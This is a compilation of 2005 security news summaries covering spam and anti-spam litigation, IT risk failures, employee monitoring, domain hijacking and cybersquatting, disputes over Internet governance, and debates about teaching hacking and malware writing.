SPAMMERS STRIVE FOR ORIGINALITY TO DECEIVE ANTI-SPAM FILTERS

Dan Wallach reported on his detailed analysis of how spammers are defeating sophisticated anti-spam filters: they are using attributes of normal mail and avoiding obvious characteristics of spam.

>Recently, I've gotten a number of spams that have perfect spelling and vanilla plain text (as opposed to the insane HTML ov3rki!! Variety). If you look at the mail headers, there's some evidence of zombie machines being used to transmit the spam (i.e., received lines not matching up to the From or Sender line) but otherwise the headers are quite clean. For the message in front of me right now, the user agent is even listed as Mozilla on Linux. DSPAM has a clever feature where it will tell you what factors in the message it used to make its decision. In this case, DSPAM latched onto the User-Agent string and other Mozilla-esque headers as having a very low probability of being spam. This outweighted a few strings that otherwise should have tipped it off (e.g., "credit history" or "secure, private").<

He concluded,

>In some sense, this is exactly what Paul Graham predicted would eventually happen in "A Plan For Spam". My hope is that I can eventually untrain DSPAM of its love for Mozilla headers; we'll see how well it does. My fear is that there will always be an avenue of attack for a "contrarian spammer" who engineers spam to be unlike all the other spams out there.<

Category33.2Spam, spin, spit & splogs2005-07-07spammer Smith Rizler federal judge Burnsville Internet Xpress Pharmacy Direct
drugs spam FBI court contempt jailed

DHS IAIP Daily; http://www.vnunet.com/vnunet/news/2139427/spam-supremo -smith -sued

SUSPECTED SPAMMER SMITH SEIZED

Suspected spammer Christopher Smith, nicknamed the Rizler was arrested at a Minneapolis, MN airport shortly after stepping off a flight from the Dominican Republic, where he had been operating since a U.S. federal judge in May shut down his companies, Burnsville Internet and Xpress Pharmacy Direct, and ordered him to stop selling drugs online. Smith had since set up similar operations in the Dominican Republic, through which he is alleged to have sent more than a billion spam emails either to AOL email addresses or through AOL email accounts. The FBI claims that Smith has already made about \$18 million this year. Federal authorities raided Xpress Pharmacy and Smith's home on 10 May, seizing his passport and \$4.2m in assets, including a \$1.1m house and luxury cars worth \$1.8m. At the same time the FBI closed down his 85-employee company. Investigators concluded that Smith had been selling medicines to customers without proper prescriptions, and selling drugs without a licence. The U.S. Attorney's office claims that Smith had broken court orders and is recommending that he be held in criminal contempt and jailed for six months.

Category 33.2	Spam, spim, spit & splogs
2005-10-13	TechWorld spammer United States Sophos percent worldwide

DHS IAIP Daily;

http://www.techworld.com/security/news/index.cfm?NewsID=4573

U.S. STILL WORLD'S TOP SPAMMER

Despite anti-spam laws the United States is still the world's top spammer. According to the latest report by Sophos, the US is still number one with 26 percent of all worldwide spam. However, the figure has been falling over the years. According to Graham Cluley, senior technology consultant for Sophos, "It has been lowering for awhile for a number of reasons. The anti-spam task forces and the authorities and the ISPs in North America are getting much better at putting into practice methods that are lowering the amount of spam."

Category 33.2	Spam, spim, spit & splogs		
2005-10-26	spam spim splog spam-blogs fraud search engine distortion	hacking GOO	OGLE
RISKS; http://tinyurl	.com/9498r	24	09

SPAM, SPIM, SPIT AND NOW -- SPLOGS!

Spam, long the scourge of email users, rapidly has become the bane of bloggers too.

Spammers have created millions of Web logs to promote everything from gambling Web sites to pornography. The spam blogs -- known as "splogs" -- often contain gibberish, and are full of links to other Web sites spammers are trying to promote. Because search engines like those of Google Inc., Microsoft Corp. And Yahoo Inc. Base their rankings of Web sites, in part, on how many other Web sites link to them, the splogs can help artificially inflate a site's popularity. Some of the phony blogs also carry advertisements, which generate a few cents for the splog's owner each time they are clicked on.

The phony blogs are a particular problem for Google, Microsoft and Yahoo because each offers not only a Web search engine focused on providing the most relevant results for users but also a service to let bloggers create blogs.

Just this past weekend, Google's popular blog-creation tool, Blogger, was targeted in an apparently coordinated effort to create more than 13,000 splogs, the search giant said. The splogs were laced with popular keywords so that they would appear prominently in blog searches, and several bloggers complained online that that the splogs were gumming up searches for legitimate sites....

[Excerpt from David Kesmodel's article in Wall Street Journal provided by Monty Solomon]

33.3 Antispam

Category 33.3 Antispam 2005-01-12 CAN-SPAM spam porn FTC injunction Federal Trade Commission junk e-mail liability prosecution injunction

NewsScan; http://apnews.excite.com/article/20050112/D87II6A80.html

FTC SHUTS DOWN X-RATED SPAMMERS

The Federal Trade Commission has won a preliminary injunction against six companies accused of profiting from sexually explicit junk e-mail. The injunction, granted by U.S. District Court Judge Philip M. Pro, will last the duration of the FTC's civil suit against the companies. The case marks the first time the FTC has taken action under a rule included in the last years "Can Spam" Act that requires a label identifying sexually explicit e-mail in the subject line. The law also holds liable Web site operators who benefit from fraudulent pornographic spam. "It's not just the people who push the buttons to send spam" who are liable," notes FTC marketing practices division director Eileen Harrington. Named in the FTC complaint are Global Net Solutions, Open Space Enterprises, Southlake Group and WTFRC Inc., all of Nevada; Global Net Ventures of London; and Wedlake Ltd., which is based in Riga, Latvia. (AP 12 Jan 2005)

Category 33.3 2005-02-23	Antispam denial of service DoS spam blocker court appearance e-mail m information reliability delivery	notice crit	ical
RISKS;		23	75

RISKS;

2005-05-09

http://news.lp.findlaw.com/andrews/pl/med/20050223/20050223barnes.html

SPAM-BLOCKER CAUSES MISSED COURT DATE

"A plaintiff's attorney in a wrongful-death lawsuit, who missed a court date because his firm's spam blocking software automatically sidetracked the court's e-mail notice, has narrowly escaped being sanctioned for failing to appear at the scheduled status conference...."

In a follow-up analysis, Joseph Brennan pointed out that such a sequence would require a number of errors. Either the lawfirm's spam software was set wrong and discarded blocked e-mail OR it diverted spam to a spam folder but the lawyer didn't look at the spam folder OR the spam-blocker bounced the "spam" but the court officers failed to note the bounce message and therefore did not follow up on the problem. In any case, Brennan was pretty sure there were human errors involved.

[MK adds: there is no specification for required delivery in any of the RFCs defining SMTP. No one should ever assume that email has been delivered to its intended recipient without proof of such delivery.]

Category 33.3 Antispam

> SPEWS spam prevention early warning system anti-spam Telewest customers email address hijack zombies

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4528927.stm

ANTISPAM BLACKLIST TARGETS 900,000

Officials at the Spam Prevention Early Warning System (SPEWS) have placed e-mail addresses of 900,000 Telewest customers on its blacklist, saying that computers using those addresses may have been hijacked and used for sending spam. Many organizations use the SPEWS blacklists as e-mail filters--anything coming from an address on the list is blocked. Telewest acknowledged that some subscribers of its Blueyonder broadband service have had their computers compromised by computer viruses and turned into e-mail zombies. Company officials said they are working to contact those users with suspiciously high volumes of e-mail traffic to help them clean their machines. "As you can imagine," said a statement from the company, "[it] is a time-consuming task." Matt Peachey of antispam software firm Ironport said he doubts all of the blocked computers have in fact been turned into spam zombies by hackers. Peachey accused SPEWS of casting too wide a net in its blacklisting. BBC, 9 May 2005

Category 33.3	Antispam		
2005-07-27	anti-spam content filtering censorship political bias		
RISKS		23	95
ARE SOME ANTI-SP	AM SERVICES CENSORING MAIL FOR POLITICAL REASONS?		

Pete Klammer voiced concern over possible interference in the political process by corporations running anti-spam services.

>In the run-up to the 2004 election, I found activist messages about (against) Arnold Schwarzenegger were being screened by ACM's e-mail screening service controlled by Postini. I was only able to verify this, and retrieve my messages, because I had chosen the "quarantine" option, and checked the quarantine area soon enough, before the messages were permanently expunged.

Now we hear that messages regarding the Downing Street memos have been blocked from Comcast.net customers (one of the largest high-speed cable internet providers in the U.S.), based on content of the message -- a URL -- rather than subject line or sender address or domain.

The potential for (mis)information manipulation by large and powerful corporations is frightening, particularly as U.S. Law exempts them from "common carriage" legal requirements. We would never (I hope!) stand for our telephone company to redirect our flight-reservation phone call to a different airline "partner" company; why must we tolerate such distortion on the Internet?<

* * *

In a a follow-up response in RISKS 23.96, Craig A. Finseth expressed skepticism about Klammer's hypothesis: "Probably because you asked them to: Postini is an anti-spam service which provides mechanisms for you to control what is filtered (as well as a heck of a lot of stuff that they do for you). My ISP uses it and offers me full control over the amount of filtering done, including complete disabling."

Category 33.3 Antispam

2005-08-04 spam anti-spam efforts litigation ruling University of Texas White Buffalo Ventures student e-mail addresses CAN-SPAM Act

EDUPAGE; http://insidehighered.com/news/2005/08/04/ut

COURT UPHOLDS UNIVERSITY BLOCK ON SPAMMER

A federal appeals court ruled in favor of the University of Texas (UT) in its dispute with White Buffalo Ventures over thousands of spam e-mails sent by the company to students of the institution. In 2003, White Buffalo, which operates an online dating service geared toward UT students, began sending thousands of messages to student e-mail addresses it had obtained through public records. After receiving many complaints from students, the university blocked White Buffalo's e-mails, a move the company said infringed on its First Amendment rights and its rights under the CAN-SPAM Act. A federal judge disagreed with White Buffalo, and the current ruling supports that decision. The three-judge panel of the appeals court found that the institution is within its rights to place restrictions on commercial speech if such restrictions can be shown to legitimately benefit constituents--in this case, UT's students. Observers noted that the court's rejection of White Buffalo's CAN-SPAM argument is important in that it presents a significant roadblock to organizations that would try to use the law to make it easier, rather than more difficult, to send unsolicited e-mail. Inside Higher Ed, 4 August 2005

Category 33.3 Antispam

2005-08-10 spam spammer Microsoft settlement Scott Richter New York

EDUPAGE; http://www.nytimes.com/2005/08/10/technology/10spam.html

TOP SPAMMER SCOTT RICHTER SETTLES ON \$7M PENALTY TO MICROSOFT

Microsoft has reached a settlement with Scott Richter, a man once described as one of the top three spammers in the world. Efforts by Microsoft and New York Attorney General Eliot Spitzer in 2003 resulted in the collection of 8,000 e-mail messages containing 40,000 fraudulent statements sent by Richter's company, OptInRealBig. Richter earlier agreed to pay New York State \$50,000; under the new settlement, Richter will pay Microsoft \$7 million. According to Bradford L. Smith, chief counsel for the software giant, \$5 million would be used to "increase our Internet enforcement efforts and expand technical and investigative support to help law enforcement address computer-related crimes," while another \$1 million will be spent on improving computer access for the poor in New York State. The settlement also requires Richter to comply with state and federal laws governing e-mail and to submit to oversight of his company's operations for three years. New York Times, 10 August 2005 (registration req'd)

Category 33.3 Antispam 2005-11-23 lawsuit litigation anti-spam Verizon Wireless unsolicited text messages DHS IAIP Daily; http://www.eweek.com/article2/0,1895,1892707,00.asp

VERIZON WIRELESS SUES ANOTHER SPAMMER

Unwanted text messages from a Florida-based travel company were sent recently to 98,000 Verizon Wireless customers, according to a new lawsuit filed by the operator. Even though cell phone spam is still relatively limited, it's nonetheless forcing operators to get a handle on it since their subscribers often pay a fee for each incoming message. "Electronic attacks upon the Verizon Wireless interstate text messaging network will continue; indeed the latest attack was just weeks ago," Verizon attorneys wrote in the suit filed Monday, November 21, in a U.S. District Court in New Jersey. In this particular case, Verizon Wireless alleges that Passport Holidays LLC, of Ormond Beach, FL, sent unsolicited text messages to about 98,000 Verizon Wireless subscribers in the latter part of October. The lawsuit accuses Passport Holidays of using an automated dialer to send the text messages to phones in three East Coast area codes.

Category 33.3 Antispam

2005-12-21 CAN-SPAM Act legislation law FTC report Congress effectiveness legal action content filtering junk e-mail education recommendations

EDUPAGE; http://www.theregister.co.uk/2005/12/21/can-spam/

FTC SAYS CAN-SPAM WORKING

The Federal Trade Commission reported to Congress on the effectiveness of the CAN-SPAM Act, concluding that legal action against spammers and improved e-mail filtering have reduced the amount of junk e-mail reaching consumers. The agency has filed 21 lawsuits under CAN-SPAM. Recommendations include passing new laws to help regulators trace spammers and sellers outside the United States, better user education on spam prevention, and continued improvement in filtering tools and techniques.

33.5 Risk analysis & management

Category 33.5	Risk analysis & management
2005-04-07	credit card loss company agent training awareness confidentiality breach policy procedure stupidity identity theft

RISKS

NO PROBLEM! BANK OF AMERICA AGENT REVEALS PERSONAL DETAILS TO FINDER OF LOST VISA CARD

23

84

When Caskey L. Dickson's wife reported a lost VISA card that she found, the Band of America agent on the support line cheerfully informed her -- without her asking -- of the owner's home phone number and billing address plus the fact that the card had not been reported stolen.

Despite the honest lady's protests that she did not need to know these things, the agent flippantly dismissed her concerns about identity theft with "Oh, that's not a problem."

Category 33.5	Risk analysis & management			
2005-05-01	risk management legacy systems denial of service failure replacement system failure	software qual	lity assurance	
RISKS; http://www.cio.com/archive/050105/comair.html 23		23	87	
COMAIR EXECUTIVES DELAYED REPLACING LEGACY SYSTEM THAT FAILED				

Stephanie Overby, writing in CIO magazine, analyzed the COMAIR disaster of December 2004. "[T]he legacy system [for managing flight crews] failed, bringing down the entire airline, canceling or delaying 3,900 flights, and stranding nearly 200,000 passengers. The network crash cost Comair and its parent company, Delta Air Lines, \$20 million, damaged the airline's reputation and prompted an investigation by the Department of Transportation."

The details were as follows:

"As it turned out, the crew management application, unbeknownst to anyone at Comair, could process only a set number of changes—32,000 per month—before shutting down. And that's exactly what happened. On Christmas Eve, all the rescheduling necessitated by the bad weather forced the system to crash. As a result, Comair had to cancel all 1,100 of its flights on Christmas Day, stranding tens of thousands of passengers heading home for the holidays. It had to cancel nearly 90 percent of its flights on Dec. 26, stranding more. There was no backup system. It took a full day for the vendor to fix the software. But Comair was not able to operate a full schedule until Dec. 29."

All of this trouble could have been avoided had the warnings dating back to 1997 been heeded about the need to upgrade the then-11-year-old system, which was running on outdated hardware. The rest of the article goes into extensive detail about the management failures responsible for the debacle.

Category 33.5	Risk analysis & management
2005-09-11	emergency management communications frequency bands risk analysis
	vulnerability politicians stupid pronouncements lack experience naïve elementary
	mistakes denial of service DoS vulnerability bandwidth saturation jamming disaster

RISKS

24 04

POLITICIANS USUALLY AMATEURS AT EMERGENCY MANAGEMENT

It is sad that politicians start to believe that they know how to solve technical problems. One such sad case was Rudy Giuliani's pronouncement today that a single frequency (then frequency band) for all emergency services would make things work better. Now I am hardly the world's leading expert on radio frequency spectrum allocation, but I do have some small amount of experience in understanding radio communications and emergency response, and I was startled, well not all that startled, perhaps bemused at the lack of understanding displayed by people who are not risk management professionals. Of course it seems that a lot of political folks think that they can do as good a job as risk management professionals, and likely that is why we are in such a sad state as a nation state at handling emergencies. I haven't done a complete assessment of the suggestion, but here are some initial thoughts.

The idea is that communications will work better if everyone can talk to each other and therefore a single frequency band would allow them to do so and improve emergency communications. Sounds sensible, however...

1) It means that in order to disrupt ALL emergency communications I only need to jam one frequency band.

2) Different natural and artificial phenomena interfere with RF communications in different frequency bands, so by using a relatively limited portion of the available bandwidth, there is a guarantee that in some places no communications will work.

3) If I want to listen into your communications, it makes it a lot easier if I know the frequencies being used, and if everyone has to talk to each other, then anyone can listen to everyone else. Encryption won't solve this of course for the same reason.

4) If there is a big emergency and everyone is on a small subset of the bands available, there will be a lot of interference, reducing communications effectiveness.

5) Certain weather and other human induced conditions wipe out portions of the frequency band for periods of time, making ALL communications fail simultaneously (see 1 above).

6) Interference between jurisdictions means that dispatchers in one jurisdiction might end up talking over those of their neighbors, causing confusion and more traffic problems as well as increasing the potential for phony messages going on the air.

You all get the idea by now. Of course the last assessment I did that involved a radio communications system for a local government was several weeks back, and we were a bit concerned that they only had 3 redundant ways to communicate via RF - Car radios that talk to towers in redundant locations - hand-held radios on a different frequency range that could talk to the towers, the cars, and each other independently of the other tower system, and cellular telephones that they could use when the other systems failed. They also reported problems of interference on rare occasions with the frequencies used by neighboring jurisdictions (see 6 above), but only in certain locations where they could communicate over quite a long distance because of weather-related signal bounces off of clouds.

Different frequency bands are used for different things for good reasons, and there are good reasons that a single frequency band for emergency response would be a bad thing. Perhaps we should put Rudy in charge of FEMA and see if things get better or worse... after all, the last political appointee there with no expertise in emergency management worked out so well...

[By Fred Cohen]

34.2 Usage monitoring, audit trails (employees, children)

Category34.2Usage monitoring, audit trails (employees, children)2005-01-25privacy remote keylogger monitoring surveillance workplace forensic evidence data
archives pornography appropriate use

NewsScan; http://news.bbc.co.uk/1/hi/technology/4188747.stm

SOFTWARE WATCHES WHILE YOU WORK

Security firm 3ami and storage specialist BridgeHead Software have teamed up to create a network security system that can log computer keystroke activity, store it and retrieve the files within minutes. The developers say the system represents a breakthrough in the way data is monitored and stored, but privacy advocates worry that such monitoring not only is overly intrusive but can be damaging to employees' morale. However, 3ami managing director Tim Ellsmore counters: "That is not the case. It is not about replacing dialogue but there are issues that you can talk through but you still need proof. People need to recognize that you are using a PC as a representative of a company and that employers have a legal requirement to store data." The software was developed in response to the Freedom of Information Act's requirement for companies to store all data for a specified period of time, and is designed to monitor the downloading of pornography, the use of inappropriate language and the copying of applications for personal use. It also potentially could enable employers to track stolen files and identify whether they'd been e-mailed to a third party, copied, printed, deleted or saved to a CD, floppy disk, memory stick or flash card. (BBC News 25 Jan 2005)

Category 34.2 Usage monitoring, audit trails (employees, children)

2005-08-09 computer tampering policy violation student punishment school lawsuit litigation Pennsylvania

EDUPAGE; http://www.wired.com/news/technology/0,1282,68480,00.html8/

STUDENTS FACE PUNISHMENT FOR COMPUTER TAMPERING

Thirteen high school students in the Kutztown Area School District in Pennsylvania face felony charges of tampering with computers after defeating security measures on laptops issued to them by the school district. The laptops included Internet filters and an application that allowed district administrators to see what students did with the computers. The 13 used administrator passwords--which, for unknown reasons, were taped to the backs of the computers--to override the filters and download software such as iChat that the district policy forbids. The students also modified the monitoring program so that they could see what the administrators did with their computers. The students and their parents argued that the felony charges are unwarranted, but, according to the district, students and parents signed acceptable use policies that clearly state what activities are not allowed and that warn of legal consequences if the policy is violated. The students continued to violate district policies for use of the computers even after detentions, suspensions, and other punishments, according to the district. Only then did school officials contact the police. Wired News, 9 August 2005

23

69

35.1 Cybersquatting

Category 35.1	Cybersquatting
2005-01-17	denial of service DoS domain name system DNS hijacking fraud data integrity authorization

RISKS; http://www.panix.net/hijack-faq.html

DON'T PANIX

The DNS entry for the Panix ISP was hijacked in January 2005. Cyrus R. Eyster reported to RISKS on the case and quoted the Panix Website:

Panix's main domain name, panix.com, was hijacked by parties unknown. The registration of the panix.com domain was moved to a company in Australia, the actual DNS records were moved to a company seemingly in the United Kingdom (but with servers in Canada and corporate registration in Delaware), and panix.com's mail was redirected to servers in Canada. None of the systems exploited to perform this hijacking were under Panix's control.

It's not supposed to be possible to transfer a domain name from one registrar to another without notifying both the current registrar and the current domain owner, but that's what seems to have happened.

As the hijacking occurred over the weekend, we had great trouble reaching responsible parties at the other companies involved. The domain was not returned to us until the beginning of the business day in Australia on Monday. None of the companies involved had support numbers that were available over the weekend, or even emergency contact numbers.

Category 35.1 Cybersquatting

2005-07-08 Google Website domain misspelling typo cybersquatting case victory

EDUPAGE;

http://today.reuters.com/business/newsArticle.aspx?storyID=nN78398318

GOOGLE WINS TYPOSQUATTING CASE

Google has the rights to several misspellings of its domain name, according to a decision by the National Arbitration Forum (NAF). Google had filed a complaint against Sergey Gridasov, a Russian man who had registered domain names of googkle.com, ghoogle.com, gfoogle.com and gooigle.com, saying that he was profiting from Google's name with the domains, which are common mistypings of google.com. Gridasov reportedly used the domains to redirect Web surfers to sites that would download various kinds of malware to their computers. Because Gridasov did not respond to the complaint, the NAF was compelled to accept the allegations in Google's complaint. According to the NAF, Gridasov is not entitled to use the domains, which are confusingly similar to Google's.

Reuters, 8 July 2005

Category 35.1 Cybersquatting

2005-07-18 cyber squatting lawsuits BDC Capital Inc.

EDUPAGE; http://www.detnews.com/2005/technology/0507/18/0tech-250797.htm

UNIVERSITY CHARGES CYBERSQUATTING

A Minnesota-based company has raised the ire of a number of colleges and universities after registering more than 23,000 URLs, many of which imply a connection to the schools that does not exist. BDC Capital Inc. has registered such URLs as www.universityofmichiganwolverines.com,

which is not affiliated with the University of Michigan at all, and www.uofmgophers.com, which has no connection with the University of Minnesota. Marvin Krislov, general counsel at the University of Michigan, which has sent the company a ceaseand-desist order, called the URLs a "pretty clear violation of trademark," noting that reasonable people would likely assume a connection between the site and the institution. A spokesperson from BDC said the company does not believe it has violated any trademarks. He said the company believes that the URLs "represent a significant asset to both BDC and the schools," saying that BDC anticipates a "partnership" with the schools to sell souvenirs and other items. Detroit News, 18 July 2005

35.3 Politics of the DNS

Category 35.3 Politics of the DNS

2005-02-22 domains UN ICANN ITU World Summit global control Web developing countries international

NewsScan; http://australianit.news.com.au/articles/0

U.N. PANEL HOPES TO END WEB WAR

A U.N.-sponsored panel aims to settle a long-running tug of war for control of the Internet at a Tunis meeting this November at the World Summit on the Information Society, where global control of the World World Wide Web may be decided. At present, the most recognizable Internet governance body is the U.S.-based non-profit corporation called the Internet Corporation for Assigned Names and Numbers (ICANN), but developing countries want an international body such as the UN's International Telecommunication Union (ITU) to have control over governance over Internet issues -- ranging from distributing Web site domains to fighting spam. (The Australian 22 Feb 2005)

Category 35.3 Politics of the DNS

2005-06-30 domain naming system DNS ICANN control US retention United Nations poor countries equal participation

EDUPAGE; http://news.zdnet.com/2100-9588_22-5770937.html

U.S. WILL KEEP CONTROL OF INTERNET ROOT

Despite previous statements from U.S. officials that the country would cede its control over the Internet to the Internet Corporation for Assigned Names and Numbers, a set of principles outlined this week by the Bush administration states that no such transfer of control will take place. The United States maintains control of the "root" system that determines which domains will function, including not just generic domains such as .com and .org but also country-specific domains. The principles, which were announced unexpectedly at a conference in Washington, D.C., are seen by many as a snub of the world community in general and of certain of its critics in particular. Pakistan and Brazil, for example, have long complained that the United States has too much control over the Internet and should give the world's poorer countries the opportunity to be equal participants. ZDNet, 30 June 2005

Category 35.3 Politics of the DNS

2005-07-18 Internet control report recommendations United Nations US

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4692743.stm

UN REPORTS ON CONTROL OF INTERNET

A working group created by the United Nations (UN) to draft a recommendation about the future oversight of the Internet has come up with four options. The Working Group on Internet Governance (WGIG) was created in 2003 following the failure of the UN's World Summit on the Information Society (WSIS) to agree on an Internet governance structure. Three of the WGIG's proposals would take control of the Internet away from the Internet Corporation for Assigned Names and Numbers (ICANN), which is currently run by the United States. Many developing nations have complained that final oversight of the Internet should not rest with U.S. officials. The fourth option would leave control with ICANN but create a forum for debate on Internet issues that face all countries. The four options will be presented to the 2005 WSIS meeting in November, where delegates will choose one. Earlier this month, the United States stated that it would not relinquish control of ICANN or the Internet. BBC, 18 July 2005

Category 35.3 Politics of the DNS

2005-09-29 US control Internet Web politics United Nations UN rejection

DHS IAIP Daily; http://www.washingtonpost.com/wpdyn/content/article/2005/09 /29/AR2005092900478.html

U.S. INSIST'S ON KEEPING CONTROL OF WEB

The U.S. is rejecting offers from the UN to take control over the main computers that direct traffic on the Internet. Ambassador David Gross, the U.S. coordinator for international communications and information policy at the State Department said, "We will not agree to the UN taking over the management of the Internet. "Some countries want that. We think that's unacceptable." Some countries have been upset that the United States and European countries secured a multitude of available Internet addresses, thus leaving developing nations with a limited supply to share.

Category 35.3 Politics of the DNS 2005-11-14 Internet Web DNS control United Nations conference US ICANN politics EDUPAGE; http://www.nytimes.com/2005/11/14/business/14register.html

UN MEETING TO ADDRESS CONTROL OF INTERNET

The United Nations (UN) is hosting an international conference this week in Tunisia to address concerns about U.S. control of the Internet. The Internet Corporation for Assigned Names and Numbers (ICANN) was set up in 1998 to oversee the Domain Name System, which reconciles Web addresses and directs Internet traffic to proper destinations. Despite an understanding that ICANN would become independent of any national ties, the Bush administration this year rejected such a move, and the organization still operates under the authority of the U.S. Department of Commerce. This situation has left many other countries complaining that the United States holds the power over a global resource, and nine different proposals for putting ICANN under the guidance of an international body will be addressed at the meeting in Tunisia, which will host as many as 15,000 delegates. Some individuals who were part of the work that led to the Internet have said that concerns over ICANN are misguided. Leonard Kleinrock, computer scientist at UCLA, said, "Everyone seems to think that the D.N.S. system is a big deal, but it's not the heartbeat of the Internet." Robert Kahn, one of the developers behind TCP/IP, said of ICANN, "There is nothing in there to control, and there are huge issues that the governments of the world really do need to work on." New York Times, 14 November 2005 (registration req'd)

Category 35.3 Politics of the DNS

2005-11-16 Internet Web DNS control United Nations conference US ICANN politics

EDUPAGE; http://www.siliconvalley.com/mld/siliconvalley/13180104.htm

U.S. TO KEEP CONTROL OF ICANN

Delegates at an international meeting in Tunisia have agreed to allow oversight of the Internet's Domain Name System (DNS) to remain with the United States. Leading up to the World Summit on the Information Society, a number of nations had put forth proposals that would have required the United States to cede DNS control to an international body. Instead, agreement was reached to leave DNS management with the Internet Corporation for Assigned Names and Numbers (ICANN) and create an international forum to address concerns, though the forum will not have binding authority. The Internet Governance Forum is to begin meeting next year and will address issues both within the purview of ICANN, such as the addition of domains in languages other than English, and outside ICANN's authority, such as spam and cybercrime. San Jose Mercury News, 16 November 2005

Category 35.3 Politics of the DNS

2005-11-29 dot com management lawsuit DNS management politics ICANN Verisign

EDUPAGE; http://news.bbc.co.uk/2/hi/technology/4482292.stm

INTERNATIONAL GROUP SUES OVER .COM MANAGEMENT

The World Association of Domain Name Developers has filed a lawsuit in a California court against the Internet Corporation for Assigned Names and Numbers (ICANN) and VeriSign over a deal recently reached between the two organizations. After resolving a dispute over VeriSign's Site Finder service, which directed users who mistyped URLs to VeriSign's Web site, ICANN agreed to an extension of the contract that allows VeriSign to manage the .com and .net domains. Although the extension runs from 2007 to 2012, the lawsuit filed by the developers association contends that the contract "provides for the automatic renewal of the agreement and thereby precludes competitors from ever entering the .com and .net domain name registration market," thereby establishing a monopoly for the domains. The only means for another company to bid on the work, according to the suit, is if VeriSign goes out of business or fails to meet the terms of the contract. A statement from ICANN said the lawsuit is intended to divert attention away from an ICANN meeting currently being held in Vancouver. BBC, 29 November 2005

37.1 Elementary & middle school

Category 37.1 Elementary & middle school

2005-06-08 UK Britain charity children downloading habits parent education effort pamphlet

EDUPAGE; http://news.bbc.co.uk/2/hi/entertainment/4072566.stm

EDUCATING PARENTS ABOUT KIDS' DOWNLOADING HABITS

A British charity focused on children's issues on the Web has launched a campaign designed to educate parents about the downloading habits of their kids. According to Childnet, as many as 90 percent of parents do not understand how music can be downloaded from the Internet. The charity is producing leaflets in 8 languages for distribution in 19 countries to try to address and correct this gap of understanding between parents and children. Representatives of the entertainment industry applauded the initiative. Peter Jamieson, chairman of the British Phonographic Industry, said, "We are committed to working with parents to make them aware of the dangers of illegal downloading." Dennis Henderson of Virgin Megastores noted that spreading the word about legal download services is as important as fostering an awareness of illegal file sharing. BBC, 8 June 2005

37.2 High school

Category 37.2 High school 2005-03-21 high school K-12 fight stop hacker hacking school network denial of service DoS attack report education

DHS IAIP Daily; http://www.nwfusion.com/news/2005/032105-hacker-kids.html

K-12 SCHOOLS FIGHT TO STOP STUDENT HACKERS

When today's K-12 students act up, they increasingly are going high-tech by using the school's network to launch denial-ofservice attacks, sending harassing e-mails or breaking into databases to try to change their records. With public schools now widely equipped with LANs and high-speed Internet access, IT administrators have to cope with many cyber incidents. Some infractions, such as attempts to get to pornography sites, might force administrators to temporarily yank a child's network access as punishment. But some types of incidents, such as hacking and e-mail threats, even end up with students being booted out of school or in trouble with the law. Philip Scrivano, management analyst at Fiscal Crisis & Management Assistance Team (FCMAT), agrees. Scrivano says that in his role as adviser, he's seen students expelled for installing a keylogger on the teacher's PC and changing grades or breaking into a server. Some troublemakers are spending inordinate amounts of time planning breakins - sometimes 50 to 100 hours for one attack. The hard part is making teenagers understand that what they're doing is a crime. Department of Education's "Internet Access in U.S. Public Schools and Classrooms: 1994-2003" report: http://nces.ed.gov/pubsearch/pubsinfo.asp?pubid=2005015

Category 37.2 High school 2005-04-08 ethical hacking teaching education security awareness University of La Salle Barcelona Spain ISECOM

EDUPAGE; http://news.bbc.co.uk/2/hi/programmes/click_online/4423351.stm

PROGRAM TEACHES HACKING TO RAISE AWARENESS

The University of La Salle in Barcelona has begun a program to raise awareness of computer hacking and to teach teens how to protect themselves. Sponsored by the Institute for Security and Open Methodologies (ISECOM), the Hacker High School invites students from local high schools to the La Salle campus to expose them to the ins and outs of hacking. Pete Herzog, managing director of ISECOM, said the program shows participants how computer hacking is accomplished so that they can understand the concepts behind what computers do, how to clean them, how applications can compromise computers, and the implications for personal privacy. According to one official from the program, the goal is to provide experiences for students to learn how hacking happens so that they will become "ethical hackers, good hackers, knowing what they do and what the limits are." School officials believe having skills as an ethical hacker could be beneficial when students go looking for jobs later. BBC, 8 April 2005

37.3 Undergraduate degrees

Category 37.3	Undergraduate degrees		
2005-02-06	academic university course spyware spam ethics		
RISKS		23	70
UNIVERSITY OF CALGARY TEACHES STUDENTS TO WRITE MALWARE			

Rob Slade comments on the University of Calgary's penchant for teaching students how to write malicious code:

The University of Calgary is back at it again.

Http://www.cbc.ca/story/canada/national/2005/02/05/email-course050205.html http://pages.cpsc.ucalgary.ca/~aycock/ aycock@cpsc.ucalgary.ca, barker@cpsc.ucalgary.ca

(Interesting that his homepage is entitled "Unfettered by Content." He certainly seems to be unfettered by logic.)

This time they are adding spam and spyware to the curriculum.

I can vaguely see a dim advantage to having students write viruses in order to understand them (rather inefficiently, in terms of time spent), but getting them to write a spamming program in order to understand how to fight spam seems even less effective.

As previously noted, John Aycock doesn't seem to have any credentials in security or malware (no papers published prior to the virus course, nobody in the field seems to know him), so why he, and the university, chose to do this, other than pure self-promotion, is completely beyond me.

I am somewhat relieved by the fact that the paper submitted to EICAR shows that a modicum of thought was given to the security of the laboratory. The irrelevance of the measures undertaken is no great surprise. The bibliography is interesting: Lugwig's second edition is there, along with Mitnick's "19 chapters of gotcha," but on the AV side Cohen's 1994 edition stands alone with Skoudis' rather pathetic work. I would have thought that anyone with even a pretence of academic intentions would have consulted Ferbrache, and possibly Nazario's pompous but flawed attempt at worm analysis. Given Aycock's involvement in a rather banal crypto lab, I'm a bit surprised that he hasn't tried to create Young and Yung's proposed crypto-nasties.

In a follow-up response in RISKS 23.71, someone called "Hendrik" retorted that studying malware is essential for development of effective countermeasures. Some of his comments follow:

>....In 1992 I found a small book in a bookstore in Saudi Arabia, that had been published by the German "Kaos Computerclub". In this book the authors explained how viruses worked, from an angle of approach of how to write viruses (at that time we had to deal mostly with DOS boot sector viruses). The authors further described how they had approached major software companies with this information, none of whom was the least bit interested in the information or in any cooperation with people who knew how to write viruses. Some of the approached companies had furthermore warned the authors against publishing the information about viruses they had on hand.

I am not impressed, to say the least, that 13 years after the Kaos Computerclub had the right idea, in a world awash in viruses, worms, and spam, with a world-wide deployed home computer OS that seems to have less security than the front door of my house, we still have not made any progress in regards to how we deal with knowledge about malware.

In the the CBC article that Rob Slade refers to, Aycock (the "virus teacher" at UofC) is quoted as saying "[S]ome companies have said they're not going to hire [our] graduates because they don't like the perception of having someone on board who has written viruses."

